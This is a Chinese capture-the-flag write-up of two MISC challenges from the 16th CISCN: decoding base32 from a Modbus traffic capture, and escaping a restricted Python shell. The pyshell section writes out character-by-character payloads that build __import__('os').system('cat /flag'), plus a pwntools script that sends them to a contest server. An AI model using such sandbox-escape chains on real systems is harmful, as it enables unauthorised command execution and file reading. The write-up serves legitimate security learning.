第十六届CISCN复现----MISC

news/2025/2/13 10:53:35/

1.被加密的生产流量

 下载附件,发现是一个文件名为modus的压缩包,解压后是一个pcap文件,用wireshark打开

文件名modus,已经提示了工控流量,很多情况下都是和TCP协议结合起来的

工控CTF之协议分析1——Modbus_ctf modbus_Shadow丶S的博客-CSDN博客

直接追踪TCP

 发现竟然出现了=,条件反射联想到base密码,base32加密特征:密文由32个字符(A-Z,2-7)组成

其实第一反应还是base64,但是没做出来,才改的base32

 套上flag提交的壳就成功了

在复现途中,看到了一些大佬的解题思路,很棒,很新颖,自己还需继续钻研

利用pyshark解题:

"pyshark"库是一个用于捕获、解析和分析网络流量的Python库。它是基于Wireshark开发的,可以很方便地在Python环境中使用Wireshark的功能。

python 的pyshark库如何使用 - 知乎

NSSCTF | 在线CTF平台

pyshark使用教程_迷人的派大星的博客-CSDN博客

利用tshark解题:

tshark相当于是命令行版的wireshark,不需要额外安装,在安装wireshark的时候就会安装上这个工具。建议把tshark加入到环境变量中,方便后续使用!

tshark在流量分析中的绝佳应用(超详细)_lainwith的博客-CSDN博客

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m | 小绿草信息安全实验室

2.pyshell

 题目标签中有一个沙盒逃逸,恕我不知道啥意思,

沙盒逃逸:

沙盒逃逸的过程就是在一个代码执行的环境下,脱离种种过滤和限制,最终拿到shell权限的过程。也就是绕过各种黑名单最终拿到系统命令执行权限。

浅析Python沙盒逃逸-腾讯云开发者社区-腾讯云

感觉有点像命令过滤,只不过这个是在python下,执行的而已

python沙箱逃逸总结 - 先知社区

 看的似懂非懂了,做一下题目

在虚拟机中进行nc连接

 能发现其实此时已经进入了python

 查看python内置文件可以看出语句之间需要_拼接

 通过测试和题目名称得知存在python沙盒逃逸并且一次只能输入7个字符串,使用+进行拼接调用eval函数成功执行命令

第一种:

'open'

_+"('/"

_+"fl"

_+"ag"

_+"')."

_+"re"

_+"ad"

_+"()"

_

eval(_)

exec(_)

 第二种:

>>'__imp'
'__imp'
>>_+'ort'
'__import'
>>_+'__('
'__import__('
>>_+"'os"
"__import__('os"
>>_+"')"
"__import__('os')"
>>_+".s"
"__import__('os').s"
>>_+"ys"
"__import__('os').sys"
>>_+"te"
"__import__('os').syste"
>>_+"m("
"__import__('os').system("
>>_+"'c"
"__import__('os').system('c"
>>_+'at '
"__import__('os').system('cat "
>>_+'/fl'
"__import__('os').system('cat /fl"
>>_+"ag"
"__import__('os').system('cat /flag"
>>_+"')"
"__import__('os').system('cat /flag')"
>>eval(_)

 运行成功即可获得flag

但是当自己运行时发现一直跳转,于是用了脚本来跑,同样可以获取flag

from pwn import *
io = remote('node1.anna.nssctf.cn', 28073)
io.send("'print'")
sleep(1)
io.send("_+'(op'")
sleep(1)
io.send("_+'en('")
sleep(1)
io.send("_+'\"/f'")
sleep(1)
io.send("_+'lag'")
sleep(1)
io.send("_+'\").'")
sleep(1)
io.send("_+'rea'")
sleep(1)
io.send("_+'d()'")
sleep(1)
io.send("_+')'")
sleep(1)
io.send('eval(_)')
flag = io.recvline()
print(flag)
io.interactive()


http://www.ppmy.cn/news/571213.html

相关文章

解决不能完全卸载solidworks2016的方法之一

solidworks2016,以前在win7安装过,并且正常使用。 如今在win10安装,无法安装成功并且无法卸载干净。另外,还按照搜索到的一些方法进行了文件的删除。 但是依然每次开机都是配置画面,小崩溃┭┮﹏┭┮ 目前算是可以解…

ORACLE 完美卸载

完全卸载oracle11g步骤: 1、 开始->设置->控制面板->管理工具->服务,停止所有Oracle服务。 2、 开始->程序->…

完美卸载.net framework 2.0

卸载.net framework 2.0偶然发现电脑上基于.net的程序有一些不能使用了。比如vista master,vlite等。本以为这些程序不能在xp下运行,今天发现连xpmanger也出了问题。让我想到可能是.net framework 除了问题。上次卸载vs2008以后。发现其实很多东西没卸载…

完美卸载Visual Studio 2013及以上版本

下载微软的VisualStudioUninstaller,选TotalUninstaller.zip,解压右键Setup.ForcedUninstall.exe→以管理员身份运行输入Y回车 下不动可以百度网盘,提取码:l768 卸载过程耗时较久,请耐心等待。

Navicat Premium 12 卸载和注册表的删除

卸载就不用我说了,win10也好,win7也好直接windows设置里的卸载,或者你觉得别的软件卸载的比较干净也行 不过还是不会删掉注册表,甚至文件夹都不删除: 这是卸载 ,在此说一下,为了安全起见&#…

完美卸载任何软件

https://download.csdn.net/download/scdxwangtao/9098203 完美卸载任何软件 自动清空注册表评分: 完美卸载任何软件,采用此软件卸载软件,可以把注册表,安装目录的文件都全部清除,可以避免因为卸载不全,不能再次…

Navicat Premium 的卸载和注册表的删除

卸载软件可以直接通过win10的卸载程序进行卸载。但是在卸载之后,不会删除注册表,也不会删除里面的文件夹,因此,需要在注册表中删除相关的文件夹。 一、Navicat Prenium的卸载 卸载的操作较简单,这里不做过多的赘述 一…

解除安裝 Visual Studio 2008 不能 卸载vs2008 完美 官方

< 上一页 很抱歉&#xff0c;当前无法删除此日 志&#xff0c;请稍后再试。 4月15日 解除安裝 Visual Studio 2008 不能 卸载vs2008 完美 官方 解除安裝 Visual Studio 2008 這篇文章適用於 Microsoft Visual Studio 2008 的正式版本。如需解除安裝 Microsoft Visual Stud…